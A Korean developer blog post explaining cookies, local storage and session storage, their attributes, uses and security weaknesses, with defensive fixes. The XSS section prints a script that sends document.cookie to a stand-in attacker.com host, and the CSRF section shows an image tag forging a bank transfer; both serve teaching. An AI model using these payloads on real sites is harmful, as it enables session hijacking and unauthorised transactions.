로컬 스토리지, 세션 스토리지와 쿠키

윤효준·2024년 9월 8일

콤퓨타 공부

목록 보기
7/17

브라우저 저장소의 등장 배경

웹 어플리케이션이 점차 복잡해지고 더 나은 사용자 경험을 제공해야 할 필요성이 커지면서 시작되었다. 초기 웹은 정적인 콘텐츠 제공에 중심을 두었지만 사용자가 직접 상호작용하는 동적인 웹 어플리케이션이 대중화되면서 데이터를 클라이언트 측에 저장할 필요성이 대두되었다.

여기서 정적인 웹 어플리케이션과 동적인 웹 어플리케이션이란???

정적인 웹 어플리케이션 특징

  • 서버에서 제공하는 콘텐츠가 미리 정의되어 있고 사용자의 요청에 따라 내용이 변경되지 않는다.
  • 데이터베이스 연결이 없거나 동적인 데이터를 처리하지 않는다.
  • 페이지 로딩 속도가 빠르고 유지보수가 간단하다.

정적인 웹 어플리케이션 예시

  • HTML로 작성된 블로그 포스트 목록
  • about.html, hello.html 같은 HTML 파일이 고정된 상태로 제공되는 사이트

동적인 웹 어플리케이션 특징

  • 서버에서 데이터베이스를 연결하여 실시간으로 정보를 가져와 보여준다.
  • 사용자의 상호작용에 따라 콘텐츠가 변경된다.
  • 데이터 입력, 업데이트, 삭제와 같은 기능을 지원한다.

동적인 웹 어플리케이션 예시

  • 이커머스 사이트: 사용자가 상품을 검색하거나 장바구니에 물건을 추가하는 동작은 실시간으로 서버와 통신하여 동적인 데이터를 처리한다.
  • SNS : 사용자가 새로 글을 올리거나 댓글을 작성할 때마다 서버에서 새로운 데이터가 실시간으로 반영되어 화면에 표시된다.

쿠키의 등장

쿠키는 1990년대 초반에 등장했다. 당시 웹은 상태를 유지하지 않는 HTTP 프로토콜(무상태 프로토콜) 기반으로 작동했기 때문에 서버는 사용자가 웹 사이트를 방문할 때마다 매번 새로운 사용자인지 기존 사용자인지를 인식할 방법이 없었다. 이를 해결하기 위해서 쿠키가 개발되었다.

쿠키는 사용자가 틀정 웹 사이트에 접속할 때 그 사용자의 브라우저에 작은 데이터 조각을 저장해두고 이후 웹 페이지 요청 시 서버에 해당 데이터를 전송하도록 하는 메커니즘이다. 이를 통해 웹 서버는 사용자가 어떤 상태에 있는지 기억할 수 있다.

1. 쿠키의 구조

1.1 쿠키의 기본 구조

쿠키는 이름(name)-값(value) 쌍과 속성(attributes)으로 구성된다.

Set-Cookie: <이름>=<>; <속성1>=<값1>; <속성2>=<값2>; ...

1.2 쿠키의 주요 구성 요소

  • 이름(name)과 값(value)
    쿠키는 반드시 이름을 가진다. 이는 쿠키의 핵심 데이터이며 서버가 사용자 정보를 식별하는데 사용한다. 이름과 값 모두 URL 인코딩되어 전송된다.

여기서 잠깐!!! URL 인코딩이란???

웹에서 사용하는 특수 문자를 안전하게 URL에 포함시키기 위한 인코딩 방식이다. URL은 기본적으로 ASCII 문자만 허용되기 때문에 URL에 포함될 수 없는 특수 문자나 공백, 한글 등 비ASCII 문자를 안전하게 전송하기 위해 인코딩을 사용한다.

인코딩 방식
URL 인코딩은 문자열을 퍼센트(%) 기호로 시작하고 16진수로 표현된 ASCII 코드로 변환하는 방식이다. 즉 ASCII 범위를 벗어나는 문자나 URL에서 특별한 의미를 가지는 문자들은 %와 그 뒤에 두 자리의 16진수로 대체된다.

예시:

  • 공백 : " " → %20
  • # : "#" → %23
  • 한글 "안녕하세요" : 각각의 문자가 인코딩되어 "안녕하세요"%EC%95%88%EB%85%95%ED%95%98%EC%84%B8%EC%9A%94

다시 쿠키의 주요 구성 요소로 돌아오자!

  • 만료 시간(Expires) 또는 최대 유효 기간(Max-Age)
    쿠키의 수명을 지정하는 속성이다. 만료 시간이 설정되면 쿠키는 특정 시간이 지나면 자동으로 삭제된다.
    • 만료 시간 : 쿠키의 만료 시점을 지정한다. 지정된 날짜와 시간이 지나면 쿠키는 브라우저에서 삭제된다.
      Set-Cookie: sessionId=abc123; Expires=Wed, 21 Oct 2024 07:28:00 GMT
    • 최대 유효 기간 : 쿠키의 유효 기간을 초 단위로 설정한다. Max-Age=60이라면 60초 동안만 유효하다.
      Set-Cookie: sessionId=abc123; Max-Age=3600
  • 경로(Path)
    쿠키가 적용되는 경로를 지정한다. 이 속성은 해당 경로에서만 쿠키가 서버로 전송되도록 제한한다. 예를 들어 Path=/shopping으로 설정하면 /shopping과 그 하위 경로에서만 이 쿠키가 유효하다.
Set-Cookie: sessionId=abc123; Path=/shopping
  • 도메인(Domain)
    쿠키가 적용될 도메인을 지정한다. 이 속성은 쿠키가 특정 도메인이나 하위 도메인에서도 사용될 수 있게 합니다. 도메인을 설정하지 않으면 기본적으로 쿠키가 생성된 도메인에서만 유효하다.
Set-Cookie: sessionId=abc123; Domain=example.com

이 경우 example.com 도메인 및 그 하위 도메인(예: www.example.com, ex.example.com)에서도 쿠키가 유효하다.

  • HttpOnly 플래그
    HttpOnly는 쿠키가 클라이언트 측 JavaScript에서 접근할 수 없도록 설정하는 플래그이다. HttpOnly 플래그가 설정된 쿠키는 document.cookie같은 JavaScript로 읽거나 수정할 수 없다.
Set-Cookie: sessionId=abc123; HttpOnly
  • Secure 플래그
    Secure는 쿠키가 HTTPS 연결에서만 전송되도록 제한하는 플래그이다. 이 속성이 있으면 쿠키는 HTTPS를 사용하는 안전한 연결에서만 서버로 전송되며 HTTP에서는 전송되지 않는다.
Set-Cookie: sessionId=abc123; Secure
  • SameSite 플래그
    SameSite 속성은 코로스 사이트 요청에서 쿠키가 전송되는 방식을 제어한다.
    • SameSite=Lax : 기본값으로 쿠키는 사용자가 외부 사이트에서 직접 링크를 클릭하여 사이트를 방문할 때 전송된다.
    • SameSite=Strict : 쿠키가 같은 사이트에서만 전송된다. 다른 도메인에서 발생하는 요청에는 쿠키가 전송되지 않으므로 보안성이 높다.
    • SameSite=None : 쿠키가 크로스 사이트 요청에도 전송됩니다. 하지만 Secure 속성이 반드시 함께 설정되어야 한다.
Set-Cookie: sessionId=abc123; SameSite=Strict

SameSite=None 옵션을 제공할까?

SameSite=None은 보안이 낮아 보일 수 있지만, 특정 상황에서는 꼭 필요합니다:

  1. 서드파티 쿠키 사용 시 필요

    • 예: 소셜 로그인 (Google, Facebook OAuth), 결제 게이트웨이(PayPal), 임베디드 콘텐츠 (예: iFrame)
    • 예를 들어, 사용자가 example.com에서 Google 로그인을 사용할 때, Google의 인증 쿠키는 서드파티 쿠키입니다.
    • 이때 SameSite=None 옵션을 사용해야 Google 인증 서버가 인증 쿠키를 전송할 수 있습니다.
  2. 다중 도메인 환경에서 필요

    • 예: 메인 서비스 도메인 (example.com)과 API 서버 (api.example.com)가 서로 다른 서브 도메인일 때.
    • example.com에서 api.example.com으로 요청 시에도 Cross-Origin으로 간주될 수 있습니다.
    • 이 경우에도 SameSite=None을 사용해야 인증 쿠키를 API 서버에 전송할 수 있습니다.

1.3 쿠키의 완전한 예시

Set-Cookie: sessionId=abc123; Path=/; Domain=example.com; Expires=Wed, 21 Oct 2024 07:28:00 GMT; Secure; HttpOnly; SameSite=Strict
  • 이름 : sessionId
  • 값 : abc123
  • Path : 도메인의 모든 경로에서 유효
  • Domain : example.com 및 하위 도메인에서 유효
  • Expires : 2024년 10월 21일 오전 7시 28분까지 유효
  • Secure : HTTPS에서만 전송
  • HttpOnly : JavaScript에서 접근 불가
  • SameSite=Strict : 같은 사이트 내에서만 쿠키가 전송됨

1.4 클라이언트에서 쿠키 전송 방식

클라이언트는 서버로 HTTP 요청을 보낼 때 요청 헤더에 Cookie 필드를 포함하여 저장된 쿠키를 전송한다. 이는 서버가 클라이언트의 상태나 인증 정보를 확인하는 데 사용된다.

GET /index.html HTTP/1.1
Host: www.example.com
Cookie: sessionId=abc123

2 쿠키의 역할

2.1 사용자 상태 유지(세션 관리)

쿠키는 가장 기본적으로 사용자의 상태를 유지하는 역할을 합니다. 위에서 설명했듯이 HTTP는 무상태 프로토콜이므로 서버는 사용자가 페이지를 새로고침하거나 다른 페이지로 이동할 때마다 이전에 어떤 활동을 했는지 기억하지 못한다. 쿠키를 사용하면 이 문제를 해결할 수 있다.

사용자가 로그인한 상태를 유지하는 것이 대표적인 예이다. 사용자가 로그인한 후 서버는 쿠키에 세션 ID를 저장하고 이후 사용자가 다른 페이지로 이동하더라도 해당 세션 ID를 서버로 전송하여 사용자가 인증된 상태를 유지할 수 있다.(전혀 RESTful하지 않다...!)

Set-Cookie: sessionId=abc123; Path=/; HttpOnly

장바구니 정보 저장하는 방식도 예가 될 수 있다. 쇼핑몰에서 사용자가 로그인하지 않고도 장바구니에 상품을 추가하면 장바구니 정보가 퀴키에 저장될 수 있다. 이 방식은 사용자가 페이지를 이동해도 장바구니 상태가 유지되도록 한다.(클라이언트 측에서도 쿠키를 생성할 수 있다는 이야기이다!)

// 쿠키 생성 (유효기간을 7일로 설정)
document.cookie = "cartItems=3; path=/; max-age=" + 7*24*60*60;

2.2 사용자 맞춤 설정 저장

쿠키는 사용자의 개인 설정 정보를 저장하여 웹사이트가 사용자에게 맞춤형 경험을 제공할 수 있도록 돕는다. 사용자가 웹사이트에서 특정 설정(언어, 테마 등)을 선택하면 해당 정보가 퀴키에 저장되고 웹사이트에 재방문할 때 이정보를 바탕으로 동일한 설정을 유지한다.

Set-Cookie: language=ko; Path=/; Expires=Wed, 21 Oct 2024 07:28:00 GMT

Set-Cookie: theme=dark; Path=/; Expires=Wed, 21 Oct 2024 07:28:00 GMT

2.3 사용자 추적 및 분석

쿠키는 웹사이트가 사용자 행동을 추적하고 사용자 활동을 분석하는 데도 사용된다. 특히 광고 회사나 웹사이트 분석 도구에서 자주 사용되는 방식이다. 이를 통해 웹사이트는 사용자의 방문기록, 클릭 패턴 등을 파악하고 이를 기반으로 맞춤형 광고나 콘텐츠를 제공할 수 있다.

웹사이트 분석 도구는 쿠키를 사용하여 사용자가 웹사이트를 얼마나 자주 방문하고 어떤 페이지에서 더 오래 머무는지 등의 데이터를 수집한다. 이를 통해 웹사이트 운영자는 사용자 경험을 개선하거나 더 나은 마케팅 전략을 수립할 수 있다.

//GA는 웹사이트 분석 도구인 Google Analytics이다!
Set-Cookie: _ga=GA1.2.1234567890.0987654321; Path=/; Expires=Wed, 21 Oct 2024 07:28:00 GMT

광고 네트워크는 사용자의 방문 기록을 기반으로 맞춤형 광고를 제공한다. 사용자가 특정 웹사이트에서 특정 제품을 검색한 기록을 쿠키에 저장한 후 다른 웹사이트를 방문할 때 해당 제품과 관련된 광고를 제공하는 방식이다.

Set-Cookie: adTrackingId=123456; Path=/; Expires=Wed, 21 Oct 2024 07:28:00 GMT

3. 쿠키의 문제점

3.1 보안적 취약성

3.1.1 세션 하이재킹

쿠키에는 세션 ID 같은 중요한 정보가 저장되기 때문에 공격자가 이 쿠키를 가로채면 사용자의 세션을 탈취할 수 있다. 이를 통해 공격자는 해당 사용자가 아닌데도 로그인된 사용자처럼 행동할 수 있다. 이는 주로 쿠키가 네트워크 상에서 평문으로 전송되기 때문에 발생할 수 있는 문제이다.

예시:
1. 사용자가 http://example.com에 로그인하고 세션 ID가 쿠키에 저장된다.
2. 공격자는 중간에서 네트워크 트래픽을 감시하여 사용자가 전송하는 HTTP 요청을 가로채고 해당 요청에서 쿠키에 저장된 세션 ID를 획득한다.
3. 공격자는 가로챈 세션 ID를 사용해 사용자의 권한으로 서버에 요청을 보낼 수 있게 된다.

해결 방안:

  1. Secure 플래그:
    쿠키의 Secure 플래그를 설정하여 쿠키가 HTTPS 연결에서만 전송되도록 강제한다. 이렇게 하면 쿠키가 암호화된 HTTPS 통신을 통해서만 전송되기 때문에 공격자가 네트워크를 감시하더라도 쿠키를 가로채기 어렵다.
  2. HTTPS 사용:
    모든 통신에서 HTTPS를 사용하면 데이터를 암호화한다. HTTP를 사용할 경우 네트워크에서 쿠키를 쉽게 가로챌 수 있지만 HTTPS를 사용할 경우 쿠키가 암호화되므로 가로채도 내용을 알 수 없다. 프로토콜 설명란의 HTTPS 참고

3.1.2 XSS(크로스 사이트 스크립팅)

공격자가 웹페이지에 악성 스크립트를 삽입하여 사용자의 쿠키를 탈취하거나 사용자의 권한으로 악성 코드를 실행하게 하는 공격이다. 웹페이지의 보안이 허술할 경우 공격자는 악성 코드를 삽입하고 해당 스크립트가 사용자의 쿠키에 접근하여 민감한 정보를 가져가게 된다.

예시:
1. 공격자가 댓글 입력 필드에 악성 스크립트를 삽입한다.

<script>
document.location='http://attacker.com/steal_cookie?cookie=' + document.cookie;
</script>
  1. 만약 서버가 이 입력값을 검증하지 않고 그대로 페이지에 표시하면 악성 스크립트도 함께 표시된다.
  2. 다른 사용자가 이 페이지를 방문하면 브라우저는 페이지의 내용을 그대로 렌더링한다. 그런데 페이지에 공격자가 삽입한 스크립트가 포함되어 있기 때문에 브라우저가 이 스크립트를 실행하게 된다.
  3. 공격자가 삽입한 스크립트는 document.cookie를 통해 사용자의 쿠키 정보를 가져온다. 그리고 http://attacker.com/steal_cookie로 쿠키 정보를 전송한다. 이로 인해 공격자는 사용자의 세션 ID나 인증 정보를 가로챌 수 있다.
<!DOCTYPE html>
<html lang="ko">
<head>
  <meta charset="UTF-8">
  <title>댓글 페이지</title>
</head>
<body>
  <h1>댓글</h1>

  <!-- 댓글 입력 폼 -->
  <form method="POST" action="/submit-comment">
    <textarea name="comment" placeholder="댓글을 입력하세요"></textarea>
    <button type="submit">댓글 제출</button>
  </form>

  <h2>다른 사람들의 댓글</h2>

  <!-- 정상적인 댓글 -->
  <div class="comment">
    <p>이 웹 페이지는 정말 유용하네요!</p>
  </div>

  <!-- 공격자가 삽입한 악성 스크립트 댓글 -->
  <div class="comment">
    <script>
      document.location='http://attacker.com/steal_cookie?cookie=' + document.cookie;
    </script>
  </div>

</body>
</html>

해결 방안:
1. HttpOnly 쿠키 사용:
HttpOnly 플래그를 사용하면 JavaScript를 통해 쿠키를 읽을 수 없기 때문에 XSS 공격으로 쿠키 정보를 탈취하는 것을 방지할 수 있다.
2. 입력 값 이스케이프 처리
입력된 데이터를 HTML에 그대로 표시하지 않고 특수 문자를 이스케이프 처리하여 실행되지 않도록 해야 한다. 이스케이프 처리란 실행 가능한 특수 문자가 원래 의미를 가지지 않도록 탈출시켜 단순 텍스트로 변환하는 과정이다. 즉 브라우저가 이 문자를 코드로 해석하지 않고 단순한 텍스트로 출력하게 하려는 목적이 있다.

const escapeHtml = (unsafe) => {
return unsafe
  .replace(/&/g, "&amp;")
  .replace(/</g, "&lt;")
  .replace(/>/g, "&gt;")
  .replace(/"/g, "&quot;")
  .replace(/'/g, "&#039;");
};

3.1.3 CSRF (Cross-Site Request Forgery) 공격

CSRF 공격은 사용자가 인증된 상태에서 공격자가 악의적인 요청을 위조하여 서버로 전송하게 하는 공격이다. 이때 쿠키가 자동으로 전송되는 특성을 악용하여 사용자가 원하지 않은 행동이 서버에서 처리될 수 있다.

예시:
1. 사용자가 bank.com에 로그인하여 계좌 정보를 관리하고 있다.
2. 공격자는 사용자가 bank.com에 로그인한 상태라는 것을 알고 malicious-site.com에 악성 스크립트를 삽입하여 사용자가 이 페이지에 방문할 때 bank.com으로 요청을 전송하도록 만든다.
3. 예를 들어 다음과 같은 악성 스크립트를 삽입할 수 있다.

<img src="https://bank.com/transfer?amount=10000&to=attacker_account" />

사용자가 malicious-site.com을 방문하면 브라우저는 bank.com에 저장된 쿠키를 포함한 요청을 자동으로 전송하고 서버는 이 요청을 합법적인 것으로 인식하여 계좌 이체를 실행한다.

해결 방안:
1. SameStie 플래그:

  • SameSite 플래그는 쿠키가 크로스 사이트 요청에서 전송되지 않도록 제한하여 CSRF 공격을 방지할 수 있다. SameSite=Strict 또는 SameSite=Lax 설정을 통해 외부 사이트에서 발생하는 요청에는 쿠키가 전송되지 않도록 제한한다.

3.2 성능 저하

쿠키는 HTTP 요청마다 서버로 전송되기 때문에 쿠키가 많아질수록 네트워크 트래픽이 증가한다. 특히 쿠키의 최대 크기가 4KB로 제한되어 있는데 모든 요청마다 이러한 데이터를 서버로 전송하면 페이지 로딩 속도가 느려질 수 있다.

해결 방안:
HTML5에서는 로컬 스토리지와 세션 스토리지가 도입되었다.

2. 로컬 스토리지의 등장

로컬 스토리지는 웹 애플리케이션이 점차 복잡해지고 데이터량이 증가하면서 기존의 쿠키 기반 데이터 저장 방식의 한계를 극복하기 위해 등장했다.

로컬 스토리지의 특징

  • 영구 저장 : 로컬 스토리지에 저장된 데이터는 사용자가 브라우저를 닫거나 컴퓨터를 재시작해도 삭제되지 않는다. 사용자가 명시적으로 삭제하지 않는 한 해당 데이터를 계속 사용할 수 있다.

  • 도메인 단위로 저장 : 로컬 스토리지는 도메인별로 독립적으로 저장되며 하나의 도메인에서 저장된 데이터는 해당 도메인에서만 접근할 수 있다. 다른 도메인에서는 접근이 불가능하다.

  • 최대 저장 용량 : 로컬 스토리지는 브라우저마다 다르지만 일반적으로 5MB정도의 용량을 제공하며 쿠키의 4KB에 비해 훨씬 큰 데이터를 저장할 수 있다.

  • 서버로 자동 전송되지 않음 : 쿠키와 달리 로컬 스토리지에 저장된 데이터는 HTTP 요청 시 서버로 전송되지 않으며 오직 클라이언트 측에서만 사용된다.

로컬 스토리지 사용 예시

로컬 스토리지는 주로 사용자 맞춤 설정, 웹 어플리케이션의 상태 관리, 캐시 데이터 등을 저장하는 데 유용하다.

데이터 저장

// 로컬 스토리지에 데이터 저장하기
localStorage.setItem('username', 'hyoyoon'); //username이라는 키에 'hyoyoon'이라는 값을 로컬 스토리지에 저장

데이터 읽기

// 로컬 스토리지에서 데이터 읽기
const username = localStorage.getItem('username'); //로컬 스토리지에서 username이라는 키로 저장된 데이터 가져오기
console.log(username);  // 출력: 'hyoyoon'

데이터 삭제

// 로컬 스토리지에서 특정 데이터 삭제하기
localStorage.removeItem('username'); // 로컬 스토리지에서 username이라는 키로 저장된 데이터를 삭제

모든 데이터 삭제

// 로컬 스토리지의 모든 데이터를 삭제하기
localStorage.clear();

로컬 스토리지의 사용 예시

사용자 맞춤 설정 저장

/*
* 사용자가 어두운 테마를 선택한 경우, 로컬 스토리지에 그 정보를 저장하여
* 다음 방문 시에도 어두운 테마 유지
*/

// 어두운 테마 설정 저장
localStorage.setItem('theme', 'dark');

// 웹사이트 재방문 시 테마 불러오기
if (localStorage.getItem('theme') === 'dark') {
  document.body.classList.add('dark-theme');
}

비로그인 장바구니 기능

/*
* 사용자가 로그인하지 않은 상태에서도 쇼핑몰 장바구니 정보를 저장하고 유지할 때
* 로컬 스토리지를 사용할 수 있음
*/

// 장바구니에 물품 추가
const cart = JSON.parse(localStorage.getItem('cart')) || [];
cart.push({ itemId: 1, itemName: '상품 A', quantity: 2 });
localStorage.setItem('cart', JSON.stringify(cart));

// 장바구니 정보 읽어오기
const savedCart = JSON.parse(localStorage.getItem('cart'));
console.log(savedCart);

캐시 데이터 저장

로컬 스토리지는 주로 웹 페이지의 캐시 데이터를 저장하는 데 사용되기도 한다. 자주 변경되지 않는 데이터를 로컬 스토리지에 저장하여 불필요한 서버 요청을 줄이고 웹 어플리케이션의 성능을 향상시킬 수 있다.

문제점(보안)

로컬 스토리지에 저장된 데이터는 클라이언트 측에서 쉽게 접근 가능하다. 따라서 민감한 정보를 로컬 스토리지에 저장하는 것은 위험하다.
JavaScript로 접근 가능하기 때문에 XSS 공격에 노출될 수 있다.

보안 해결 방안

  • 민감한 정보 저장 금지 : 로컬 스토리지는 주로 비민감한 데이터를 저장하는 데 사용해야 한다. 예를 들어 사용자의 이름이나 테마 설정 등과 같은 데이터만 로컬 스토리지에 저장해야 하며 세션 토큰이나 사용자 인증 정보는 로컬 스토리지에 저장하지 말아야 한다. 다시 말해 보안을 중요시할 경우 JWT 토큰을 저장하는 것도 좋지 않다...!(오히려 HttpOnly 쿠키로 저장하는 것이 좋다)

  • XSS 방지 : XSS 공격을 방지하기 위해 웹 어플리케이션에서 사용자 입력을 처리할 때는 반드시 입력값 검증 및 이스케이프 처리를 적용해야 한다.

  • 암호화된 데이터 저장 : 민감한 데이터를 반드시 클라이언트 측에 저장해야 한다면 저장하기 전에 암호화된 형태로 저장하는 방법을 고려할 수 있다. 하지만 암호화 키 자체도 안전하게 관리해야 하기 때문에 이 방식도 절대적인 해결책은 아니다.

3. 세션 스토리지의 등장

세션 스토리지는 쿠키를 보완하기 위해 등장했다. 특히 쿠키의 성능 저하 문제를 해결하고 세션 유지라는 중요한 기능을 제공한다.

세션 스토리지의 특징

  • 세션 동안 데이터 유지 : 세션 스토리지는 브라우저 탭이 열려 있는 동안만 데이터를 유지한다. 브라우저나 탭을 닫으면 저장된 데이터는 자동으로 삭제된다.

  • 도메인 단위로 저장 : 세션 스토리지는 도메인별로 독립적으로 저장되며 하나의 도메인에서 저장된 데이터는 해당 도메인에서만 접근할 수 있다. 다른 도메인에서는 접근이 불가능하다.

  • 최대 저장 용량 : 세션 스토리지는 브라우저마다 다르지만 일반적으로 5MB정도의 용량을 제공하며 쿠키의 4KB에 비해 훨씬 큰 데이터를 저장할 수 있다.

  • 서버로 자동 전송되지 않음 : 쿠키와 달리 세션 스토리지에 저장된 데이터는 HTTP 요청 시 서버로 전송되지 않으며 오직 클라이언트 측에서만 사용된다.

세션 스토리지 사용 예시

세션 스토리지는 일시적인 데이터를 저장하는 데 유용하다. 예를 들어 사용자가 페이지를 새로 고침해도 입력된 데이터가 유지되기를 원할 때 사용된다. 주로 입력 폼 데이터나 일시적인 사용자 상태를 저장하는 데 사용된다.

데이터 저장

// 세션 스토리지에 데이터 저장하기
sessionStorage.setItem('username', 'hyoyoon'); //username이라는 키에 'hyoyoon'이라는 값을 세션 스토리지에 저장

데이터 읽기

// 세션 스토리지에서 데이터 읽기
const username = sessionStorage.getItem('username'); //세션 스토리지에서 username이라는 키로 저장된 데이터 가져오기
console.log(username);  // 출력: 'hyoyoon'

데이터 삭제

// 세션 스토리지에서 특정 데이터 삭제하기
sessionStorage.removeItem('username'); // 세션 스토리지에서 username이라는 키로 저장된 데이터를 삭제

모든 데이터 삭제

// 세션 스토리지의 모든 데이터를 삭제하기
sessionStorage.clear();

세션 스토리지의 사용 예시

입력 폼 데이터 유지

/*
* 사용자가 웹 페이지에서 품을 작성하는 도중 페이지를 새로고침했을 때
* 세션 스토리지에 저장된 데이터를 사용하여 입력된 내용을 복원할 수 있다.
*/

// 사용자가 입력할 때 데이터를 세션 스토리지에 저장
document.querySelector('input[name="name"]').addEventListener('input', (event) => {
  sessionStorage.setItem('name', event.target.value);
});

// 페이지 로드 시 세션 스토리지에서 데이터를 불러와 입력 필드에 채워 넣기
document.querySelector('input[name="name"]').value = sessionStorage.getItem('name') || '';

일시적인 사용자 상태 저장

/*
* 사용자가 특정 페이지에서 단계별로 작업을 할 때 페이지를 이동할 때마다
* 그 상태를 세션 스토리지에 저장할 수 있다.
*/

// 설문 단계별로 세션 스토리지에 사용자 응답 저장
sessionStorage.setItem('step1', JSON.stringify({ question1: '답변1', question2: '답변2' }));

// 페이지 이동 시 이전 단계에서 입력한 데이터를 불러오기
const step1Data = JSON.parse(sessionStorage.getItem('step1'));

문제점(보안)

세션 스토리지에 저장된 데이터는 클라이언트 측에서 쉽게 접근 가능하다. 따라서 민감한 정보를 로컬 스토리지에 저장하는 것은 위험하다.
JavaScript로 접근 가능하기 때문에 XSS 공격에 노출될 수 있다.

보안 해결 방안

  • 민감한 정보 저장 금지 : 세션 스토리지는 주로 비민감한 데이터를 저장하는 데 사용해야 한다. 민감한 정보는 보안이 강화된 방법으로 저장하고 전송해야 한다(예: HttpOnly 쿠키 사용)

  • XSS 방지 : XSS 공격을 방지하기 위해 웹 어플리케이션에서 사용자 입력을 처리할 때는 반드시 입력값 검증 및 이스케이프 처리를 적용해야 한다.

  • 암호화된 데이터 저장 : 민감한 데이터를 반드시 클라이언트 측에 저장해야 한다면 저장하기 전에 암호화된 형태로 저장하는 방법을 고려할 수 있다. 하지만 암호화 키 자체도 안전하게 관리해야 하기 때문에 이 방식도 절대적인 해결책은 아니다.

profile
작은 문제를 하나하나 해결하며, 누군가의 하루에 선물이 되는 코드를 작성해 갑니다.

0개의 댓글